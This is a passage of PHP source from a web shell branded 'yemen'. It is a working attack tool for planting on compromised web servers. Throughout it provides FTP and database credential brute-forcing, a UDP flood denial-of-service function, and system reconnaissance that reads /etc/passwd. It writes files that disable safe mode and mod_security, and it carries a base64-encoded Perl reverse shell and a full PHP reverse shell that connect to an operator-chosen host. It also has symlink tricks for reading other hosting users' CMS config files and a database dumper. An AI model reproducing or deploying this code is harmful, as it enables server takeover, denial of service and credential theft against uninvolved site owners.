	echo "<form  onSubmit='g(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>";

	foreach($stringTools as $k => $v)

		echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";

		echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";

	if(!empty($_POST['p1'])) {

		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));

	}

	echo "</div>";

	yemenFooter();

    

}
function yemenbrute() { 
    yemenhead(); 
    if( isset($_POST['proto']) ) { 
        echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>'; 
        if( $_POST['proto'] == 'ftp' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $fp = @ftp_connect($ip, $port?$port:21); 
                if(!$fp) return false; 
                $res = @ftp_login($fp, $login, $pass); 
                @ftp_close($fp); 
                return $res; 
            } 
        } elseif( $_POST['proto'] == 'mysql' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); 
                @mysql_close($res); 
                return $res; 
            } 
        } elseif( $_POST['proto'] == 'pgsql' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''"; 
                $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass); 
                @pg_close($res); 
                return $res; 
            } 
        } 
        $success = 0; 
        $attempts = 0; 
        $server = explode(":", $_POST['server']); 
        if($_POST['type'] == 1) { 
            $temp = @file('/etc/passwd'); 
            if( is_array($temp) ) 
                foreach($temp as $line) { 
                    $line = explode(":", $line); 
                    ++$attempts; 
                    if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { 
                        $success++; 
                        echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>'; 
                    } 
                    if(@$_POST['reverse']) { 
                        $tmp = ""; 
                        for($i=strlen($line[0])-1; $i>=0; --$i) 
                            $tmp .= $line[0][$i]; 
                        ++$attempts; 
                        if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { 
                            $success++; 
                            echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp); 
                        } 
                    } 
                } 
        } elseif($_POST['type'] == 2) { 
            $temp = @file($_POST['dict']); 
            if( is_array($temp) ) 
                foreach($temp as $line) { 
                    $line = trim($line); 
                    ++$attempts; 
                    if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) { 
                        $success++; 
                        echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>'; 
                    } 
                } 
        } 
        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; 
    } 
    echo '<h1><font color=yellow>FTP bruteforce</font></h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' 
        .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' 
        .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">' 
        .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">' 
        .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">' 
        .'<span>Server:port</span></td>' 
        .'<td><input type=text name=server value="127.0.0.1"></td></tr>' 
        .'<tr><td><span>Brute type</span></td>' 
        .'><td><label><font color=white<input type=radio name=type value="1" checked> /etc/passwd</font></label></td></tr>' 
        .'<tr><td></td><td><label style="padding-left:15px"><font color=white><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' 
        .'<tr><td></td><td><label><font color=white><input type=radio name=type value="2"> Dictionary</font></label></td></tr>' 
        .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' 
        .'<td><input type=text name=login value="Yemen"></td></tr>' 
        .'<tr><td><span>Dictionary</span></td>' 
        .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>' 
        .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>'; 
    echo '</div><br>'; 
    yemenFooter(); 
}
 
function yemendos()

{

    yemenhead();

    echo '<div class=header>';

  if(empty($_POST['ajax'])&&!empty($_POST['p1']))

  $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;

  echo '<center><span>| UDP DOSSIER |</span><br><br><form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST><span>Host :</span><input name="udphost" type="text"  size="25" /><span>Time :</span><input name="udptime" type="text" size="15" /><span>Port :</span><input name="udpport" type="text" size="10" /><input  type="submit" value=">>" /></form></center>';

  echo "<pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' >";

    if(!empty($_POST['p1']) && !empty($_POST['p2']) && !empty($_POST['p3']))

    {

         $packets=0;

        ignore_user_abort(true);

        $exec_time=$_POST['p2'];

        $time=time();

        $max_time=$exec_time+$time;

        $host=$_POST['p1'];

        $portudp=$_POST['p3'];

        for($i=0;$i<65000;$i++)

        {

            $out .= 'X';

        }

        while(1){

    

         $packets++;

            if(time() > $max_time){

                    break;

            }

            

            $fp = fsockopen('udp://'.$host, $portudp, $errno, $errstr, 5);

            if($fp){

                    fwrite($fp, $out);

                    fclose($fp);

            }

            }

         echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";

         echo "</pre>";

    }

    

    echo '</div>'; 

   

    yemenfooter();        

}



function yemenproc()

{

    yemenhead();

    echo "<Div class=header><center>";

    if(empty($_POST['ajax'])&&!empty($_POST['p1']))

  $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;

  if($GLOBALS['sys']=="win")

  {

    $process=array(

    "System Info" =>"systeminfo",

    "Active Connections" => "netstat -an",

 	"Running Services" => "net start",

 	"User Accounts" => "net user",

 	"Show Computers" => "net view",

    "ARP Table" => "arp -a",

    "IP Configuration" => "ipconfig /all"

    );

    }

  else

  { 

    $process=array(

    "Process status" => "ps aux",

    "Syslog" =>"cat  /etc/syslog.conf",

    "Resolv" => "cat  /etc/resolv.conf",

    "Hosts" =>"cat /etc/hosts",

    "Passwd" =>"cat /etc/passwd",

    "Cpuinfo"=>"cat /proc/cpuinfo",

    "Version"=>"cat /proc/version",

    "Sbin"=>"ls -al /usr/sbin",

    "Interrupts"=>"cat /proc/interrupts",

    "lsattr"=>"lsattr -va",

    "Uptime"=>"uptime",

    "Fstab" =>"cat /etc/fstab",

    "HDD Space" => "df -h"

    );}

    

    foreach($process as $n => $link)

    {

        echo '<a href="#" onclick="g(null,null,\''.$link.'\')"> |  <b>'.$n.'</b> |  </a></br></br>';

    }

    echo "</center>"; 

     if(!empty($_POST['p1']))

     {

        echo "<pre class='ml1' style='margin-top:5px' >";

        echo yemenEx($_POST['p1']);

        echo '</pre>';

     }

     echo "</div>";

     yemenfooter();

     }

     

function yemensafe()

{

    yemenhead();

    echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh  ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br>";

    echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';

    if(!empty($_POST['p2']) && isset($_POST['p2']))

    {

    $fil=fopen($GLOBALS['cwd'].".htaccess","w");

    fwrite($fil,'<IfModule mod_security.c>

Sec------Engine Off

Sec------ScanPOST Off

</IfModule>');

    fclose($fil);

   }

   if(!empty($_POST['p1'])&& isset($_POST['p1']))

   {

    $fil=fopen($GLOBALS['cwd']."php.ini","w");

      fwrite($fil,'safe_mode=OFF

disable_functions=NONE');

     fclose($fil);

    }

    if(!empty($_POST['p3']) && isset($_POST['p3']))

    {

    $fil=fopen($GLOBALS['cwd'].".htaccess","w");

    fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .sh

AddHandler cgi-script .pl

AddHandler cgi-script .pl');

     fclose($fil); 

    }

    echo "<br></div>";

    yemenfooter();

    

}



function yemenconnect()

{

 yemenhead();

 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";

 echo "<div class=header><center><h3><span>| PERL AND PHP(threads) BACK CONNECT |</span></h3>";

 echo "<form  onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>PERL BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form>";

 echo "<br><form  onSubmit=\"g(null,null,'php',this.server.value,this.port.value);return false;\"><span>PHP BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form></center>";

 if(isset($_POST['p1'])) {

		function cf($f,$t) {

			$w = @fopen($f,"w") or @function_exists('file_put_contents');

			if($w){

				@fwrite($w,@base64_decode($t));

				@fclose($w);

			}

		}

		if($_POST['p1'] == 'bcp') {

			cf("/tmp/bc.pl",$back_connect_p);

			$out = yemenEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");

			echo "<pre class=ml1 style='margin-top:5px'>Successfully opened reverse shell to ".$_POST['p2'].":".$_POST['p3']."<br>Connecting...</pre>";

            @unlink("/tmp/bc.pl");

		}

        if($_POST['p1']=='php')

 {

            

@set_time_limit (0);

$ip = $_POST['p2']; 

$port =$_POST['p3'];     

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; /bin/sh -i';

$daemon = 0;

$debug = 0;

echo "<pre class=ml1 style='margin-top:5px'>";



if (function_exists('pcntl_fork')) {

	

	$pid = pcntl_fork();

	

	if ($pid == -1) {

		echo "Cant fork!<br>";

		exit(1);

	}

	

	if ($pid) {

		exit(0);  

	}



	if (posix_setsid() == -1) {

		echo "Error: Can't setsid()<br>";

		exit(1);

	}



	$daemon = 1;

} else {

	echo "WARNING: Failed to daemonise.  This is quite common and not fatal<br>";

}



chdir("/");



umask(0);



$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock) {

	echo "$errstr ($errno)";

	exit(1);

}





$descriptorspec = array(

   0 => array("pipe", "r"),  

   1 => array("pipe", "w"),  

   2 => array("pipe", "w")   

);



$process = proc_open($shell, $descriptorspec, $pipes);



if (!is_resource($process)) {

	echo "ERROR: Can't spawn shell<br>";

	exit(1);

}





@stream_set_blocking($pipes[0], 0);

@stream_set_blocking($pipes[1], 0);

@stream_set_blocking($pipes[2], 0);

@stream_set_blocking($sock, 0);



echo "Successfully opened reverse shell to $ip:$port<br>";



while (1) {

	if (feof($sock)) {

		echo "ERROR: Shell connection terminated<br>";

		break;

	}



	if (feof($pipes[1])) {

		echo "ERROR: Shell process terminated<br>";

		break;

	}



	

	$read_a = array($sock, $pipes[1], $pipes[2]);

	$num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);



	if (in_array($sock, $read_a)) {

		if ($debug) echo "SOCK READ<br>";

		$input=fread($sock, $chunk_size);

		if ($debug) echo "SOCK: $input<br>";

		fwrite($pipes[0], $input);

	}



	if (in_array($pipes[1], $read_a)) {

		if ($debug) echo "STDOUT READ<br>";

		$input = fread($pipes[1], $chunk_size);

		if ($debug) echo "STDOUT: $input<br>";

		fwrite($sock, $input);

	}



	

	if (in_array($pipes[2], $read_a)) {

		if ($debug) echo "STDERR READ<br>";

		$input = fread($pipes[2], $chunk_size);

		if ($debug) echo "STDERR: $input<br>";

		fwrite($sock, $input);

	}

}



fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);



echo "</pre>";

}



}   

 echo "</div>";

 yemenfooter();

}



function yemenyemen()

{
yemenhead();
    

    

    
echo"<center><b><font color=white size=7 face=Georgia, Arial>=.+.=</br>Developed by BLACK.JaGuAr & hatrk</font></b></center>";

yemenfooter();
    }

    

function yemensymlink()

{

    yemenhead();

    

$IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];

$IIIIIIIIIII1=explode('/',$IIIIIIIIIIIl );

$IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1)-1],'',$IIIIIIIIIIIl );  

    

    

    



   echo '<div class=header><script>p1_=p2_=p3_="";</script><br><center><h3><a href=# onclick="g(\'symlink\',null,\'website\',null)">| Domains |</br> </a><a href=# onclick="g(\'symlink\',null,null,\'whole\')">| ls -n /sym| </br></a><a href=# onclick="g(\'symlink\',null,null,null,\'config\')">| Config PHP symlink | </a></h3></center>';

    

    if(isset($_POST['p1']) && $_POST['p1']=='website')

    {

        echo "<center>";

        $d0mains = @file("/etc/named.conf");

        if(!$d0mains){ echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; }



 



echo "<table align=center class='main'  border=0  >



<tr bgcolor=Red><td>Count</td><td>domains</td><td>users</td></tr>";

$count=1;

foreach($d0mains as $d0main){



if(@eregi("zone",$d0main)){



preg_match_all('#zone "(.*)"#', $d0main, $domains);



flush();



if(strlen(trim($domains[1][0])) > 2){



$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));



echo "<tr><td>".$count."</td><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();

$count++;

}}}

echo "</center></table>"; 

 }

 

 if(isset($_POST['p2']) && $_POST['p2']=='whole')

 {
        
    @set_time_limit(0);

    

    echo "<center>";

    
@mkdir('sym',0777);

$IIIIIIIIIIl1  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";

$IIIIIIIIII1I =@fopen ('sym/.htaccess','w');

fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);

@symlink('/','sym/root');

$IIIIIIIIIlIl = basename('_FILE_');

    

    

$IIIIIIIIIllI = @file('/etc/named.conf');

if(!$IIIIIIIIIllI)

{

echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 

}

else

{

echo "<table align='center' width='40%' class='main'><td>Domains</td><td>Users</td><td>symlink </td>";

foreach($IIIIIIIIIllI as $IIIIIIIIIll1){

if(@eregi('zone',$IIIIIIIIIll1)){

preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);

flush();

if(strlen(trim($IIIIIIIIIl11[1][0])) >2){

$IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));

$IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;

@symlink('/','sym/root');

$IIIIIIII1I1l = $IIIIIIIIIl11[1][0];

$IIIIIIII1I11 = '\.ir';

$IIIIIIII1lII = '\.il';

if (@eregi("$IIIIIIII1I11",$IIIIIIIIIl11[1][0]) or @eregi("$IIIIIIII1lII",$IIIIIIIIIl11[1][0]) )

{

$IIIIIIII1I1l = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$IIIIIIIIIl11[1][0].'</div>';

}

echo "

<tr>



<td>

<a target='_blank' href=http://www.".$IIIIIIIIIl11[1][0].'/>'.$IIIIIIII1I1l.' </a>

</td>



<td>

'.$IIIIIIIII1I1['name']."

</td>



<td>

<a href='sym/root/home/".$IIIIIIIII1I1['name']."/public_html' target='_blank'>symlink </a>

</td>





</tr>";

flush();

}

}

}

}

    

echo "</center></table>";    

    

 }

 

 

 

 if(isset($_POST['p3']) && $_POST['p3']=='config')

 

 

 {

  echo "<center>";

@mkdir('sym',0777);

$IIIIIIIIIIl1  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";

$IIIIIIIIII1I =@fopen ('sym/.htaccess','w');

@fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);

@symlink('/','sym/root');

$IIIIIIIIIlIl = basename('_FILE_');

  

   

   $IIIIIIIIIllI = @file('/etc/named.conf');

if(!$IIIIIIIIIllI)

{

echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";

}

else

{

echo "

<table align='center' width='40%' class='main' ><td> Domains </td><td> Script </td>";

foreach($IIIIIIIIIllI as $IIIIIIIIIll1){

if(@eregi('zone',$IIIIIIIIIll1)){

preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);

flush();

if(strlen(trim($IIIIIIIIIl11[1][0])) >2){

$IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));

$IIIIIIIII1l1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/wp-config.php';

$IIIIIIIII11I=get_headers($IIIIIIIII1l1);

$IIIIIIIII11l=$IIIIIIIII11I[0];

$IIIIIIIII111=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/blog/wp-config.php';

$IIIIIIIIlIII=get_headers($IIIIIIIII111);

$IIIIIIIIlIIl=$IIIIIIIIlIII[0];

$IIIIIIIIlII1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/configuration.php';

$IIIIIIIIlIlI=get_headers($IIIIIIIIlII1);

$IIIIIIIIlIll=$IIIIIIIIlIlI[0];

$IIIIIIIIlIl1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/joomla/configuration.php';

$IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1);

$IIIIIIIIlI1l=$IIIIIIIIlI1I[0];

$IIIIIIIIlI11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/includes/config.php';

$IIIIIIIIllII=get_headers($IIIIIIIIlI11);

$IIIIIIIIllIl=$IIIIIIIIllII[0];

$IIIIIIIIllI1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/vb/includes/config.php';

$IIIIIIIIlllI=get_headers($IIIIIIIIllI1);

$IIIIIIIIllll=$IIIIIIIIlllI[0];

$IIIIIIIIlll1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/forum/includes/config.php';

$IIIIIIIIll1I=get_headers($IIIIIIIIlll1);

$IIIIIIIIll1l=$IIIIIIIIll1I[0];

$IIIIIIIIll11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'public_html/clients/configuration.php';

$IIIIIIIIl1II=get_headers($IIIIIIIIll11);

$IIIIIIIIl1Il=$IIIIIIIIl1II[0];

$IIIIIIIIl1I1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/support/configuration.php';

$IIIIIIIIl1II=get_headers($IIIIIIIIl1I1);

$IIIIIIIIl1lI=$IIIIIIIIl1II[0];

$IIIIIIIIl1ll=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';

$IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll);

$IIIIIIIIl11I=$IIIIIIIIl1l1[0];

$IIIIIIIIl11l=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/submitticket.php';

$IIIIIIIIl111=get_headers($IIIIIIIIl11l);

$IIIIIIII1III=$IIIIIIIIl111[0];

$IIIIIIII1IIl=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';

$IIIIIIII1II1=get_headers($IIIIIIII1IIl);

$IIIIIIII1IlI=$IIIIIIII1II1[0];

$IIIIIIII1Ill = strpos($IIIIIIIII11l,'200');

$IIIIIIII1I1I='&nbsp;';

if (strpos($IIIIIIIII11l,'200') == true )

{

$IIIIIIII1I1I="<a href='".$IIIIIIIII1l1."' target='_blank'>Wordpress</a>";

}

elseif (strpos($IIIIIIIIlIIl,'200') == true)

{

$IIIIIIII1I1I="<a href='".$IIIIIIIII111."' target='_blank'>Wordpress</a>";

}

elseif (strpos($IIIIIIIIlIll,'200')  == true and strpos($IIIIIIII1III,'200')  == true )

{

$IIIIIIII1I1I=" <a href='".$IIIIIIIIl11l."' target='_blank'>WHMCS</a>";

}

elseif (strpos($IIIIIIIIl1lI,'200')  == true)

{

$IIIIIIII1I1I =" <a href='".$IIIIIIIIl1I1."' target='_blank'>WHMCS</a>";

}

elseif (strpos($IIIIIIIIl11I,'200')  == true)

{

$IIIIIIII1I1I =" <a href='".$IIIIIIIIl1ll."' target='_blank'>WHMCS</a>";

}

elseif (strpos($IIIIIIIIlIll,'200')  == true)

{

$IIIIIIII1I1I=" <a href='".$IIIIIIIIlII1."' target='_blank'>Joomla</a>";

}

elseif (strpos($IIIIIIIIlI1l,'200')  == true)

{

$IIIIIIII1I1I=" <a href='".$IIIIIIIIlIl1."' target='_blank'>Joomla</a>";

}

elseif (strpos($IIIIIIIIllIl,'200')  == true)

{

$IIIIIIII1I1I=" <a href='".$IIIIIIIIlI11."' target='_blank'>vBulletin</a>";

}

elseif (strpos($IIIIIIIIllll,'200')  == true)

{

$IIIIIIII1I1I=" <a href='".$IIIIIIIIllI1."' target='_blank'>vBulletin</a>";

}

elseif (strpos($IIIIIIIIll1l,'200')  == true)

{

$IIIIIIII1I1I=" <a href='".$IIIIIIIIlll1."' target='_blank'>vBulletin</a>";

}

else

{

continue;

}

$IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;

echo '<tr><td><a href=http://www.'.$IIIIIIIIIl11[1][0].'/>'.$IIIIIIIIIl11[1][0].'</a></td>

<td>'.$IIIIIIII1I1I.'</td></tr>';flush();

}

}

}

}

echo "</center></table>";   

    

 }

    

    echo "</div>";

    yemenfooter();

    

}    

function yemensql()

{
    

    class DbClass {

		var $type;

		var $link;

		var $res;

		function DbClass($type)	{

			$this->type = $type;

		}

		function connect($host, $user, $pass, $dbname){

			switch($this->type)	{

				case 'mysql':

					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;

					break;

				case 'pgsql':

					$host = explode(':', $host);

					if(!$host[1]) $host[1]=5432;

					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;

					break;

			}

			return false;

		}

		function selectdb($db) {

			switch($this->type)	{

				case 'mysql':

					if (@mysql_select_db($db))return true;

					break;

			}

			return false;

		}

		function query($str) {

			switch($this->type) {

				case 'mysql':

					return $this->res = @mysql_query($str);

					break;

				case 'pgsql':

					return $this->res = @pg_query($this->link,$str);

					break;

			}

			return false;

		}

		function fetch() {

			$res = func_num_args()?func_get_arg(0):$this->res;

			switch($this->type)	{

				case 'mysql':

					return @mysql_fetch_assoc($res);

					break;

				case 'pgsql':

					return @pg_fetch_assoc($res);

					break;

			}

			return false;

		}

		function listDbs() {

			switch($this->type)	{

				case 'mysql':

                        return $this->query("SHOW databases");

				break;

				case 'pgsql':

					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");

				break;

			}

			return false;

		}

		function listTables() {

			switch($this->type)	{

				case 'mysql':

					return $this->res = $this->query('SHOW TABLES');

				break;

				case 'pgsql':

					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");

				break;

			}

			return false;

		}

		function error() {

			switch($this->type)	{

				case 'mysql':

					return @mysql_error();

				break;

				case 'pgsql':

					return @pg_last_error();

				break;

			}

			return false;

		}

		function setCharset($str) {

			switch($this->type)	{

				case 'mysql':

					if(function_exists('mysql_set_charset'))

						return @mysql_set_charset($str, $this->link);

					else

						$this->query('SET CHARSET '.$str);

					break;

				case 'pgsql':

					return @pg_set_client_encoding($this->link, $str);

					break;

			}

			return false;

		}

		function loadFile($str) {

			switch($this->type)	{

				case 'mysql':

					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));

				break;

				case 'pgsql':

					$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");

					$r=array();

					while($i=$this->fetch())

						$r[] = $i['file'];

					$this->query('drop table wso2');

					return array('file'=>implode("\n",$r));

				break;

			}

			return false;

		}

		function dump($table, $fp = false) {

			switch($this->type)	{

				case 'mysql':

					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');

					$create = mysql_fetch_array($res);

					$sql = $create[1].";\n";

                    if($fp) fwrite($fp, $sql); else echo($sql);

					$this->query('SELECT * FROM `'.$table.'`');

                    $head = true;

					while($item = $this->fetch()) {

						$columns = array();

						foreach($item as $k=>$v) {

                            if($v == null)

                                $item[$k] = "NULL";

                            elseif(is_numeric($v))

                                $item[$k] = $v;

                            else

                                $item[$k] = "'".@mysql_real_escape_string($v)."'";

							$columns[] = "`".$k."`";

						}

                        if($head) {

                            $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';

                            $head = false;

                        } else

                            $sql = "\n\t,(".implode(", ", $item).')';

                        if($fp) fwrite($fp, $sql); else echo($sql);

					}

                    if(!$head)

                        if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");

				break;

				case 'pgsql':

					$this->query('SELECT * FROM '.$table);

					while($item = $this->fetch()) {

						$columns = array();

						foreach($item as $k=>$v) {

							$item[$k] = "'".addslashes($v)."'";

							$columns[] = $k;

						}

                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";

                        if($fp) fwrite($fp, $sql); else echo($sql);

					}

				break;

			}

			return false;

		}

	};

	$db = new DbClass($_POST['type']);

	if(@$_POST['p2']=='download') {

		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);

		$db->selectdb($_POST['sql_base']);

        switch($_POST['charset']) {

            case "Windows-1251": $db->setCharset('cp1251'); break;

            case "UTF-8": $db->setCharset('utf8'); break;

            case "KOI8-R": $db->setCharset('koi8r'); break;

            case "KOI8-U": $db->setCharset('koi8u'); break;

            case "cp866": $db->setCharset('cp866'); break;

        }

        if(empty($_POST['file'])) {

            ob_start("ob_gzhandler", 4096);

            header("Content-Disposition: attachment; filename=dump.sql");

            header("Content-Type: text/plain");

            foreach($_POST['tbl'] as $v)

				$db->dump($v);

            exit;

        } elseif($fp = @fopen($_POST['file'], 'w')) {

            foreach($_POST['tbl'] as $v)

                $db->dump($v, $fp);

            fclose($fp);

            unset($_POST['p2']);

        } else

            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');

	}

	yemenhead();

	echo "

<div class=header>

<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>

<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>

<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>

<td><select name='type'><option value='mysql' ";

    if(@$_POST['type']=='mysql')echo 'selected';

echo ">MySql</option><option value='pgsql' ";

if(@$_POST['type']=='pgsql')echo 'selected';

echo ">PostgreSql</option></select></td>

<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>

<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>

<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";

	$tmp = "<input type=text name=sql_base value=''>";

	if(isset($_POST['sql_host'])){

		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {

			switch($_POST['charset']) {

				case "Windows-1251": $db->setCharset('cp1251'); break;

